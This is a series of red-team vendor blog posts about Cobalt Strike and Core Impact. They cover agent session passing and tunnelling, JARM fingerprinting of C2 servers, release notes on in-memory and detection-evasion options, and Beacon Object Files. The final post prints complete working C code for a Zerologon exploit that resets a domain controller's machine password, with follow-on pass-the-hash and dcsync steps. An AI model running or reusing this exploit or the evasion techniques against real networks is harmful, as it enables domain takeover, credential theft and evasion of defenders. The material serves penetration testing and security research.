Be aware that each of these methods is beneficial in very specific circumstances. None of the above will have impact against technologies that do not use userland hooks for instrumentation. Offense is always about trade-offs. Knowing the techniques available to you and knowing their trade-offs will help you assess your situation and decide the best way forward. This is key to good security testing engagements.

Agent Deployed: Core Impact and Cobalt Strike Interoperability

 

Core Impact 20.3 has shipped this week. With this release, we’re revealing patterns for interoperability between Core Impact and Cobalt Strike. In this post, I’ll walk you through these patterns and provide advice on how to get benefit using Cobalt Strike and Core Impact together.

A Red Team Operator’s Introduction to Core Impact

Prior to jumping into the patterns, I’d like to introduce you to Core Impact with my voice. Core Impact is a commercial penetration testing tool and exploit framework that has had continuous development since 1998.

Impact is a collection of remote, local, and client-side attacks for public vulnerabilities and other common offense actions. We implement [with special attention to QA] our own exploits as well. While we announce 2-3 product updates per year, we push new modules and module updates in between releases too.

Impact is also a collection of post-exploitation agents for Windows, Linux, other *NIX flavors (to include OS X), and Cisco IOS. While Windows has the most features and best support, our *NIX agents are robust and useful. The pivoting model and interface for these platforms is largely unified. The Impact agent is one of my favorite parts of the product.

Core Impact also has a graphical user interface to bring all of these things together. It’s quirky and does have a learning curve. But, once you grok the ideas behind it, the product clicks and it is thought out. While Core Impact was long-marketed as a vulnerability verification tool [notice: I’m not mentioning the automation], it’s clear to me that the product was architected by hackers. This hacker side of Core Impact is what I’d like to show you in this video walk-through:

Session Passing from Core Impact to Cobalt Strike

One of the most important forms of tool interoperability is the ability to pass sessions between platforms.

Core Impact 20.3 includes a Run shellcode in temporary process module to support session passing. This module spawns a temporary process and injects the contents of the specified file into it. The module does support spawning code x86 -> x86, x64 -> x64, and x64 -> x86.

To pass a session from Core Impact to Cobalt Strike:

[Cobalt Strike]

1. Go to Attacks -> Packages -> Windows EXE (S)
2. Press … to choose your listener
3. Change Output to raw
4. Check x64 if you wish to export an x64 payload.
5. Press Generate and save the file

[Core Impact]

1. Right-click on the desired agent and click Set as Source
2. Find the Run shellcode in temporary process module and double-click it.
3. Set ARCHITECTURE to x86-64 if you exported an x64 payload
4. Set FILENAME to the file generated by Cobalt Strike
5. Press OK

This pattern is a great way to spawn Cobalt Strike’s Beacon after a successful remote or privilege escalation exploit with Core Impact.

Session Passing from Cobalt Strike to Core Impact

You can also spawn a Core Impact agent from Cobalt Strike too. If Core Impact and Cobalt Strike can reach the same network, this pattern is a light way to turn an access obtained with Beacon (e.g., via phishing, lateral movement, etc.) into an Impact agent.

[Core Impact]

1. Find the Package and Register Agent module and double-click it.
2. Change ARCHITECTURE to x86-64 if you’d like to export an x64 agent
3. Change BINARY TYPE to raw
4. Change TARGET FILE to where you would like to save the file
5. Expand Agent Connection
6. Change CONNECTION METHOD and PORT to fit your preference. I find the Connect from target (reverse TCP connection) is the most performant.

[Cobalt Strike]

1. Interact with a Beacon
2. Type shspawn x64 if you exported an x64 agent. Type shspawn x86 if you exported an x86 agent.
3. Find the file that you exported.
4. Press Open.

In a few moments, you should hear that famous New Agent Deployed wav.

Tunnel Core Impact exploits through Cobalt Strike

Core Impact has an interesting offensive model. Its exploits and scans do not originate from your Core Impact GUI. The entire framework is architected to delegate offense activity through a source agent. The currently selected source agent also acts as a controller to receive connections from reverse agents [or to connect to and establish control of bind agents]. In this model, the offense process is: start with local agent, find and exploit target, set new agent as source agent, find and exploit newly visible targets, repeat until satisfied.

As the agent is the main offense actor in Core Impact, tunneling Core Impact exploits is best accomplished by tunneling the Core Impact agent through Cobalt Strike’s Beacon.

Cobalt Strike 4.2 introduced the spunnel command to spawn Core Impact’s Windows agent in a temporary process and create a localhost-only reverse port forward for it. Here are the steps to tunnel Core Impact’s agent with spunnel:

[Core Impact]

1. Click the Modules tab in the Core Impact user interface
2. Search for Package and Register Agent
3. Double-click this module
4. Change Platform to Windows
5. Change Architecture to x86-64
6. Change Binary Type to raw
7. Click Target File and press … to decide where to save the output.
8. Go to Agent Connection
9. Change Connection Method to Connect from Target
10. Change Connect Back Hostname to 127.0.0.1
11. Change Port to some value (e.g., 9000) and remember it.
12. Press OK.

[Cobalt Strike]

1. Interact with a Beacon
2. Type spunnel x64 [impact IP address] 9000 and press enter.
3. Find the file that you exported.
4. Press Open.

This similar to passing a session from Cobalt Strike to Core Impact. The difference here is the Impact agent’s traffic is tunneled through Cobalt Strike’s Beacon payload.

What happens when Cobalt Strike’s team server is on the internet and Core Impact is on a local Windows virtual machine? We have a pattern for this too. Run a Cobalt Strike client from the same Windows system that Core Impact is installed onto. Connect this Cobalt Strike client to your team server. In this setup, run spunnel_local x64 127.0.0.1 9000 to spawn and tunnel the Impact agent through Beacon. The spunnel_local command is like spunnel, with the difference that it routes the agent traffic from Beacon to the team server and onwards through your Cobalt Strike client. The spunnel_local command was designed for this exact situation.

Next step: Request a trial

The above options are our patterns for interoperability between Core Impact and Cobalt Strike.

If you have Cobalt Strike and would like to try these patterns with Core Impact, we recommend that you request a trial of Core Impact and try it out.

A Red Teamer Plays with JARM

 

I spent a little time looking into Saleforce’s JARM tool released in November. JARM is an active tool to probe the TLS/SSL stack of a listening internet application and generate a hash that’s unique to that specific TLS/SSL stack.

One of the initial JARM fingerprints of interest relates to Cobalt Strike. The value associated with Cobalt Strike is:

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

To generate a JARM fingerprint for an application, use the JARM python tool:

python3 jarm.py [target] -p [port]

I opted to dig into this, because I wanted to get a sense of whether the fingerprint is Cobalt Strike or Java.

Cobalt Strike’s JARM Fingerprint is Java’s JARM Fingerprint

I started my work with a hypothesis: Cobalt Strike’s JARM fingerprint is Java’s JARM fingerprint. To validate this, I created a simple Java SSL server application (listens on port 1234) in Sleep.

import javax.net.*;
import javax.net.ssl.*;

$factory = [SSLServerSocketFactory getDefault];
$server  = [$factory createServerSocket: 1234];
[$server setSoTimeout: 0];

if (checkError($error)) {
warn($error);
}

while (true) {
$socket = [$server accept];
[$socket startHandshake];
[$socket close];
}

I ran this server from Java 11 with:

java -jar sleep.jar server.sl

I assessed its JARM fingerprint as:

00000000000000000042d41d00041d7a6ef1dc1a653e7ae663e0a2214cc4d9

Interesting! This fingerprint does not match the supposed Cobalt Strike fingerprint. Does this mean we’re done? No.

The current popular use of JARM is to fingerprint web server applications listening on port 443. This implies that these servers have a certificate associated with their TLS communications. Does this change the above JARM fingerprint? Let’s setup an experiment to find out.

I generated a Java keystore with a self-signed certificate and I directed my simple server to use it:

keytool -keystore ./exp.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -dname “CN=,OU=,O=,L=,S=,C=”
java -Djavax.net.ssl.keyStore=./exp.store -Djavax.net.ssl.keyStorePassword=123456 -jar sleep.jar server.sl

The JARM result:

07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1

Interesting. We’ve validated that the above JARM fingerprint is specific to a Java 11 TLS stack.

Another question: is the JARM fingerprint affected by Java version? I setup several experiments and validated that yes, different major Java versions have different JARM fingerprints in the above circumstance.

How many Java-native Web servers are on the internet?

Part of the value of JARM is to turn the internet haystack into something smaller for an analyst to sift through. I wanted to get a sense of how much Java is on the internet. Fortunately, this analysis was easy thanks to some timely and available data. Silas Cutler had scanned the internet for port 443 and obtained JARM values for each of these hosts. This data was made available as an SQLite database too. Counting through this data was a relatively easy exercise of:

sqlite> .open jarm.sqlite
sqlite> select COUNT(ip) FROM jarm WHERE hash = “[hash here]”;

Here’s what I found digging through this data:

ApplicationCountJARM Hash
Java 1.8.021,099
07d14d16d21d21d07c07d14d07d21d9b2f5869a6985368a9dec764186a9175
Java 1.9.09
05d14d16d04d04d05c05d14d05d04d4606ef7946105f20b303b9a05200e829
Java 11.052,957
07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1
Java 13.0102ad2ad16d2ad2ad22c42d42d00042d58c7162162b6a603d3d90a2b76865b53

I went a slight step further with this data. I opted to convert the Java 11.05 data to hostnames and eyeball what appeared as interesting. I found several mail servers. I did not investigate which application they are. I found an instance of Burp Intruder (corroborating Salesforce’s blog post). I also found several instances of Oracle Peoplesoft as well. These JARM hashes are a fingerprint for Java applications, in general.

Closing Thoughts

For defenders, I wouldn’t act on a JARM value as proof of application identity alone. For red teamers, this is a good reminder to think about pro-active identification of command and control servers. This is a commoditized threat intelligence practice. If your blue team uses this type of information, there are a lot of options to protect your infrastructure. Part 3 of Red Team Operations with Cobalt Strike covers this topic starting at 1h 26m 15s:

JARM is a pretty cool way to probe a server and learn more about what it’s running. I’d love to see a database of JARM hashes and which applications they map to as a reconaissance tool. The C2 fingerprinting is a neat application of JARM too. It’s a good reminder to keep up on your infrastructure OPSEC.

verify.cobaltstrike.com outage summary

 

Cobalt Strike’s update process was degraded due to a data center outage that affected https://verify.cobaltstrike.com. The verify server is back up and the functionality of our update process is restored.

Here’s the timeline of the incident:

November 10, 2020 – 5:15pm EST The Cobalt Strike update process is degraded. You may still download and update the product. The verification step is unavailable. You will see a warning about verify.cobaltstrike.com not accepting connections during the update process. There is a data center networking issue that impacted our verification server. We are working with our service provider and monitoring the issue.

November 10, 2020 – 9:35pm EST The data center network issue was a planned power outage gone awry. We will bring the verify server online once connectivity is restored.

November 11, 2020 12:20pm EST The power outage caused a hardware failure with our provider. Our provider is working to address this. We have the option to migrate verify elsewhere, but are waiting out the restoration of the current server at this time.

November 11, 2020 1:05pm EST The verify server is back online and this incident is resolved.

What is the verify server?

The verify server is where we publish SHA-256 hashes of the Cobalt Strike product and its distribution packages. Our update program pins the certificate of this server and uses its hashes to verify the integrity of the product download. When the update program is unable to complete this process, it gives you the option to continue, but it warns that you should not.

The verify server exists on infrastructure separate from other parts of the Cobalt Strike update process. This outage did not affect other parts of our update infrastructure.

Cobalt Strike 4.2 - Everything but the kitchen sink

 

Cobalt Strike 4.2 is now available. This release overhauls our user exploitation features, adds more memory flexibility options to Beacon, adds more behavior flexibility to our post-exploitation features, and makes some nice changes to Malleable C2 too.

User Exploitation Redux

Cobalt Strike’s screenshot tool and keystroke logger are examples of user exploitation tools. These capabilities are great for risk demonstration and story telling. But, with good UX, these features are also powerful capabilities to collect information that aids moving closer to an objective in a network.

Cobalt Strike’s screenshot tool and keystroke logger now report active window, username, and desktop session with each of their results. This context helps our GUI, logs, and reports display where this information came from. It’s a subtle change, but a big enhancement:

The right-click menu in the screenshot and keystroke has updates too. You can now remove a keystroke buffer or screenshot from the interface. Highlight a row with a color. And, save the keystroke buffer or screenshot to a local file as well.

We also split screenshot into two commands: screenshot and screenwatch. The screenshot command takes a single screenshot. The screenwatch command (which can fork&run or inject into a specific process) takes screenshots continuously until it’s stopped with the jobkill command.

As believers in offense in depth, we’ve added new options to acquire screenshots and log keystrokes too. The printscreen command forces a PrintScr keypress and grabs the screenshot from the clipboard. This command was inspired by the creative and awesome Advanced Post-Exploitation Workshop given by @zerosum0x0 and @aleph__naught at 2017’s DEF CON 25. And, we’ve added a post-ex -> keylogger Malleable C2 option to change the keystroke logger between GetAsyncKeyState and SetWindowsHookEx methods.

More In-memory Flexibility

Cobalt Strike has long had an interest in in-memory detection and evasion. I love in-memory detections, because I think these tactics put real pressure on post-exploitation survival. But, it’s also important to challenge security teams that rely on these tactics, to force thinking beyond that “one easy trick” that’s working right now.

Cobalt Strike 4.2 continues to build Beacon’s in-memory flexibility.

Beacon’s Reflective Loader now has two added options for allocating memory for the Beacon payload in memory. Set stage -> allocator to HeapAlloc to use RWX heap memory for the Beacon payload. Set stage -> allocator to MapViewOfFile to stick Beacon in mapped memory. This is in addition to VirtualAlloc (the default) and 3.11’s module stomping, which is our way of putting Beacon into image memory.

We’ve also added new options for content flexibility. Beacon’s Reflective DLL follows Metasploit’s conventions to make itself self-bootstrapping. We patch the beginning of the DLL (the part with that MZ header) with instructions to call the Reflective Loader with a few arguments. A common in-memory detection trick is to scan executable memory regions for MZ and PE content that looks like a PE/COFF file. These items are easy “it has to be there” content to find a Reflective DLL. Not anymore though.

Set magic_mz_x86 to change the x86 Reflective DLL MZ header in Beacon. This updates the other parts of the loading process that depend on the value. The catch is that valid x86 instructions are required for magic_mz_x86. For example, MZ in x86 are the instructions dec ebp, pop edx. You don’t want to begin execution with unexpected state, so it’s also recommended to undo any state changes made by your instructions. This is why the default magic_mz_x86 value is MZRE. The R and E bytes decode to push edx, inc ebp. They undo the effect of the MZ instructions. The same idea applies for set magic_mz_x64 too.

We’ve also added set magic_pe which changes the PE header magic bytes (and code that depends on these bytes) to something else. You can use whatever you want here, so long as it’s two characters.

Post-ex Omikase Shimasu: Second serving

Cobalt Strike 3.14 introduced a lot of options to change behaviors, characteristics, and content in Cobalt Strike’s post-exploitation DLLs. Cobalt Strike 4.2 continues this work.

We’ve added post-ex -> pipename to Malleable C2. This is an option to specify a comma-separated list of pipenames. Cobalt Strike will choose one of these when it executes its post-exploitation jobs. #s in the pipename are replaced with a [a-f0-9] character. We’ve also added set ssh_pipename to change the named pipe used by Cobalt Strike’s SSH client. Multiple pipenames are allowed in this option too.

Some of Beacon’s post-exploitation DLLs do create threads. In a keystroke logger that uses GetAsyncKeyState, this isn’t easily avoidable.  To help these situations, we’ve introduced post-ex -> thread_hint to Malleable C2. When set, our post-ex DLLs will create a suspended thread with the specified module!function+0x[offset] address. Update the thread to run the post-exploitation capability. And, resume it. This is a way to push back on point-in-time analysis that looks for moduleless thread start addresses.

And, one of my favorite features in Cobalt Strike is the obfuscate and sleep feature. This is the ability for Beacon to mask its content [and code, if you’re RWX] in memory during long blocking periods. Obfuscate and sleep is a method to push back on point-in-time analysis that looks for known strings in memory. Now, when post-ex -> obfuscate is true, Cobalt Strike’s execute-assembly, keystroke logger, screenshot, and SSH client features will mask many of their strings while they’re running.

Malleable C2 Things…

And, we’ve made several updates to the communicate side of Malleable C2. We’ve doubled the maximum size of the global useragent field. We’ve also doubled the max size of the the http-get -> client and http-post -> client programs too. This will help those of you that had run into the previous limits in your profile writing.

This release adds the global headers_remove option. This option affects http-get and http-post client blocks. It’s a late-in-the-transaction option to remove unwanted HTTP client headers from the communication. WinINet, based on its configuration, will force some headers into the transaction. You may specify specify multiple unwanted headers (separate them with commas) in this option.

And, Cobalt Strike 4.2 introduces a data content jitter as well. Set data_jitter to a number value and Cobalt Strike will append a random content and length string (up to the data_jitter value bytes) to its http-get and http-post server output.

Check out the release notes to see a full list of what’s new in Cobalt Strike 4.2. Licensed users may run the update program to get the latest. To procure Cobalt Strike (or ask about evaluation options), please contact us for more information.

Beacon Object File ADVENTURES: Some Zerologon, SMBGhost, and Situational Awareness

 

Cobalt Strike can use PowerShell, .NET, and Reflective DLLs for its post-exploitation features. This is the weaponization problem set. How to take things, developed outside the tool, and create a path to use them in the tool. One of the newest weaponization options in Cobalt Strike are Beacon Object Files.

A Beacon Object File is a tiny C program that is compiled as an object and parsed, linked, and executed by Cobalt Strike’s Beacon payload. The value of Beacon Object Files is that they’re small, they have less execution baggage than the other methods (e.g., no fork and run), and they’re not that bad to develop either.

In this post, I’d like to share with you a few examples of how to extend Cobalt Strike with Beacon Object Files.

CVE-2020-1472 (aka Zerologon)

Let’s start with CVE-2020-1472, aka the Zerologon exploit. This is an opportunity to remotely attack and gain privileged credential material from an unpatched Windows Domain Controller.

This is a risky attack to carry out. It resets the machine account password for the target domain controller. This will break the domain controller’s functionality. I would limit use of this capability to demonstrations in a snapshotted lab or red vs. blue wargames in a snapshotted lab. I would not use this in production.

Secura, the company that discovered the bug, documents the details of the attack and weaponization chains in their whitepaper. Rich Warren from NCC Group’s Full Spectrum Attack Simulation team published a .NET program that executes this attack too.

While .NET is one path to an exploit, this same capability is a natural fit for a C program too. Here’s the Beacon Object File to exploit CVE-2020-1472 and an Aggressor Script to integrate it into Cobalt Strike:

/*
* Port of SharpZeroLogon to a Beacon Object File
* https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon
*/

#include &amp;amp;amp;amp;lt;windows.h&amp;amp;amp;amp;gt;
#include &amp;amp;amp;amp;lt;stdio.h&amp;amp;amp;amp;gt;
#include &amp;amp;amp;amp;lt;dsgetdc.h&amp;amp;amp;amp;gt;
#include "beacon.h"

typedef struct _NETLOGON_CREDENTIAL {
CHAR data[8];
} NETLOGON_CREDENTIAL, *PNETLOGON_CREDENTIAL;

typedef struct _NETLOGON_AUTHENTICATOR {
NETLOGON_CREDENTIAL Credential;
DWORD Timestamp;
} NETLOGON_AUTHENTICATOR, *PNETLOGON_AUTHENTICATOR;

typedef  enum _NETLOGON_SECURE_CHANNEL_TYPE{
NullSecureChannel = 0,
MsvApSecureChannel = 1,
WorkstationSecureChannel = 2,
TrustedDnsDomainSecureChannel = 3,
TrustedDomainSecureChannel = 4,
UasServerSecureChannel = 5,
ServerSecureChannel = 6,
CdcServerSecureChannel = 7
} NETLOGON_SECURE_CHANNEL_TYPE;

typedef struct _NL_TRUST_PASSWORD {
WCHAR Buffer[256];
ULONG Length;
} NL_TRUST_PASSWORD, *PNL_TRUST_PASSWORD;

DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerReqChallenge(LPWSTR PrimaryName, LPWSTR ComputerName, PNETLOGON_CREDENTIAL ClientChallenge, PNETLOGON_CREDENTIAL ServerChallenge);
DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerAuthenticate2(LPWSTR PrimaryName, LPWSTR AccountName, NETLOGON_SECURE_CHANNEL_TYPE AccountType, LPWSTR ComputerName, PNETLOGON_CREDENTIAL ClientCredential, PNETLOGON_CREDENTIAL ServerCredential, PULONG NegotiatedFlags);
DECLSPEC_IMPORT NTSTATUS NETAPI32$I_NetServerPasswordSet2(LPWSTR PrimaryName, LPWSTR AccountName, NETLOGON_SECURE_CHANNEL_TYPE AccountType, LPWSTR ComputerName, PNETLOGON_AUTHENTICATOR Authenticator, PNETLOGON_AUTHENTICATOR ReturnAuthenticator, PNL_TRUST_PASSWORD ClearNewPassword);

void go(char * args, int alen) {
DWORD                  i;
NETLOGON_CREDENTIAL    ClientCh       = {0};
NETLOGON_CREDENTIAL    ServerCh       = {0};
NETLOGON_AUTHENTICATOR Auth           = {0};
NETLOGON_AUTHENTICATOR AuthRet        = {0};
NL_TRUST_PASSWORD      NewPass        = {0};
ULONG                  NegotiateFlags = 0x212fffff;

datap                  parser;
wchar_t *              dc_fqdn;     /* DC.corp.acme.com */
wchar_t *              dc_netbios;  /* DC */
wchar_t *              dc_account;  /* DC$ */

/* extract our arguments */
BeaconDataParse(&amp;amp;amp;amp;amp;parser, args, alen);
dc_fqdn    = (wchar_t *)BeaconDataExtract(&amp;amp;amp;amp;amp;parser, NULL);
dc_netbios = (wchar_t *)BeaconDataExtract(&amp;amp;amp;amp;amp;parser, NULL);
dc_account = (wchar_t *)BeaconDataExtract(&amp;amp;amp;amp;amp;parser, NULL);

for (i = 0; i &amp;amp;amp;amp;lt; 2000; i++) {
NETAPI32$I_NetServerReqChallenge(dc_fqdn, dc_netbios, &amp;amp;amp;amp;amp;ClientCh, &amp;amp;amp;amp;amp;ServerCh);
if ((NETAPI32$I_NetServerAuthenticate2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &amp;amp;amp;amp;amp;ClientCh, &amp;amp;amp;amp;amp;ServerCh, &amp;amp;amp;amp;amp;NegotiateFlags) == 0)) {
if (NETAPI32$I_NetServerPasswordSet2(dc_fqdn, dc_account, ServerSecureChannel, dc_netbios, &amp;amp;amp;amp;amp;Auth, &amp;amp;amp;amp;amp;AuthRet, &amp;amp;amp;amp;amp;NewPass) == 0) {
BeaconPrintf(CALLBACK_OUTPUT, "Success! Use pth .\\%S 31d6cfe0d16ae931b73c59d7e0c089c0 and run dcscync", dc_account);
}
else {
BeaconPrintf(CALLBACK_ERROR, "Failed to set machine account pass for %S", dc_account);
}

return;
}
}

BeaconPrintf(CALLBACK_ERROR, "%S is not vulnerable", dc_fqdn);
}

I’ve recorded a demonstration of this attack chain as well:

The above is a good example of a Beacon Object File that implements an of-interest attack. I’ll add that Benjamin Delpy has also added ZeroLogon to mimikatz. I like that he’s extended the options for dcsync to authenticate to a domain controller with the blank credential. This is a cleaner overall attack chain as we run mimikatz once and get the desired outcome. The same “you’ll wreck this DC” caveats apply. That said, the mimikatz implementation is what I’d use going forward.

CVE-2020-0796 (aka SMBGhost)

Another cool exploit is CVE-2020-0796, aka the SMBGhost exploit. This is an escalation of privilege opportunity against an unpatched Windows 10 system.

Core Impact has an implementation of this attack. So does the Metasploit Framework. The Metasploit Framework implementation, based on the POC from Garcia Gutierrez and Blanco Parajon, is compiled as a Reflective DLL. Cobalt Strike is able to use this implementation as-is and I demonstrate this in the Elevate Kit. The privilege escalation lecture of our Red Team Operations with Cobalt Strike course covers this pattern.

What about weaponizing CVE-2020-0796 as a Beacon Object File? This is also pretty easy to do. I found that this exploit was a very straight-forward move from Metasploit’s Reflective DLL implementation to BOF. I posted the BOF code for SMBGhost to Github with an Aggressor Script too. The README.txt documents some of the steps I took as well.

The second path, implemented as an smbghost alias, exploits the vulnerability, yields the slightly enhanced privileges, and lets you choose what to do with it. This second path is very much Bring Your Own Weaponization, I want to re-emphasize the some privileges limitation. The token manipulation, made possible by this exploit, allows us to get away with opening/interacting with processes in the same session–where we couldn’t before. The second step of injecting into a privileged process (or spawning a process under a privileged process) is required to cleanly take on a fully privileged context to work from.

Closing Thoughts…

I hope you’ve enjoyed this tour of Beacon Object Files. If you have working C code for a post-exploitation concept, Beacon Object Files are a path to turn that C code into something that can work from Cobalt Strike. If you want to see another perspective on this process, watch the Cobalt Strike BOF Making episode (14:45 is the start of this discussion) of the HackThePlanet twitch stream. I also wanted to highlight that there’s some great Beacon Object File capability available in the open source space too. Enjoy!